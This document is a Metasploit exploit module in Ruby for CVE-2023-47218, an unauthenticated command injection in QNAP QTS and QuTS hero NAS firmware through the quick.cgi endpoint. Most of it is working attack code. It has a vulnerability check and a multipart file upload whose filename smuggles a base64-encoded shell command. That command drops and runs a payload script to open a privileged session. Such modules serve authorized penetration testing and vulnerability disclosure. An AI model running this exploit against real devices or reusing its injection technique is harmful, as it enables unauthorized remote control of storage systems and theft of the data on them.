## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'QNAP QTS and QuTS Hero Unauthenticated Remote Code Execution in quick.cgi', 'Description' => %q{ There exists an unauthenticated command injection vulnerability in the QNAP operating system known as QTS and QuTS hero. QTS is a core part of the firmware for numerous QNAP entry and mid-level Network Attached Storage (NAS) devices, and QuTS hero is a core part of the firmware for numerous QNAP high-end and enterprise NAS devices. The vulnerable endpoint is the quick.cgi component, exposed by the device’s web based administration feature. The quick.cgi component is present in an uninitialized QNAP NAS device. This component is intended to be used during either manual or cloud based provisioning of a QNAP NAS device. Once a device has been successfully initialized, the quick.cgi component is disabled on the system. An attacker with network access to an uninitialized QNAP NAS device may perform unauthenticated command injection, allowing the attacker to execute arbitrary commands on the device. }, 'License' => MSF_LICENSE, 'Author' => [ 'sfewer-r7', # CVE discovery, MSF module, Rapid7 Blog 'Spencer McIntyre', # Assistance 'jheysel-r7' # Docs ], 'References' => [ ['CVE', '2023-47218'], ['URL', 'https://www.qnap.com/en/security-advisory/qsa-23-57'], ['URL', 'https://www.rapid7.com/blog/post/2024/02/13/cve-2023-47218-qnap-qts-and-quts-hero-unauthenticated-command-injection-fixed'] ], 'DisclosureDate' => '2024-02-13', 'Platform' => %w[unix linux], 'Arch' => [ARCH_CMD], 'Privileged' => true, 'Targets' => [ [ 'Default', {} ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 80, 'SSL' => false, 'FETCH_WRITABLE_DIR' => '/mnt/update' }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) end def check res = send_request_cgi( 'method' => 'GET', 'uri' => '/cgi-bin/quick/quick.cgi', 'vars_get' => { 'func' => Rex::Text.rand_text_alphanumeric(8) } ) return CheckCode::Unknown('Connection failed') unless res return CheckCode::Safe('Received HTTP status code: 404. This indicates the device is not vulnerable.') if res.code == 404 return CheckCode::Unknown("Received unexpected HTTP status code: #{res.code}.") unless res.code == 200 # This is the content data we get back from a vulnerable system (testing firmware TS-X64_20230926-5.1.2.2533): # <?xml version="1.0" encoding="UTF-8"?> # <Storage> # <Result>failure</Result> # <Errcode>801</Errcode> # <Errmsg> # No Parameter. # </Errmsg> # </Storage> return Exploit::CheckCode::Detected if res.body.include? '<Result>failure</Result>' CheckCode::Unknown end def exploit # XXX: the command injection has a limit of 127 characters, so we drop our payload to a file and then execute that file. bootstrap_file = Rex::Text.rand_text_alphanumeric(8) bootstrap_script = [ '#!/bin/bash', payload.encoded ].join("\n") upload_file(bootstrap_file, bootstrap_script) register_file_for_cleanup("#{datastore['FETCH_WRITABLE_DIR']}/#{bootstrap_file}") execute_command("bash #{datastore['FETCH_WRITABLE_DIR']}/#{bootstrap_file}") end def execute_command(cmd) cmd_injection_filename = "\"$($(echo -n #{Base64.strict_encode64(cmd)}|base64 -d))\"" upload_file(Rex::Text.uri_encode(cmd_injection_filename), Rex::Text.rand_text_alphanumeric(8)) register_file_for_cleanup("#{datastore['FETCH_WRITABLE_DIR']}/#{cmd_injection_filename}") end def upload_file(file_name, file_data) if file_name.length > 127 fail_with(Failure::BadConfig, "The upload file name is too long (#{file_name.length}), must be < 128 bytes.") end data = Rex::MIME::Message.new data.add_part(file_data, 'text/plain', 'binary', "form-data; #{Rex::Text.rand_text_alphanumeric(8)}=\"#{Rex::Text.rand_text_alphanumeric(8)}\"; #{Rex::Text.rand_text_alphanumeric(8)}=\"#{file_name}\"") send_request_cgi( 'method' => 'POST', 'uri' => '/cgi-bin/quick/quick.cgi', 'vars_get' => { 'func' => 'switch_os', 'todo' => 'uploaf_firmware_image' }, 'headers' => { 'User-Agent' => 'Mozilla Macintosh' }, 'ctype' => "multipart/form-data;boundary=\"#{data.bound}\"", 'data' => data.to_s ) end end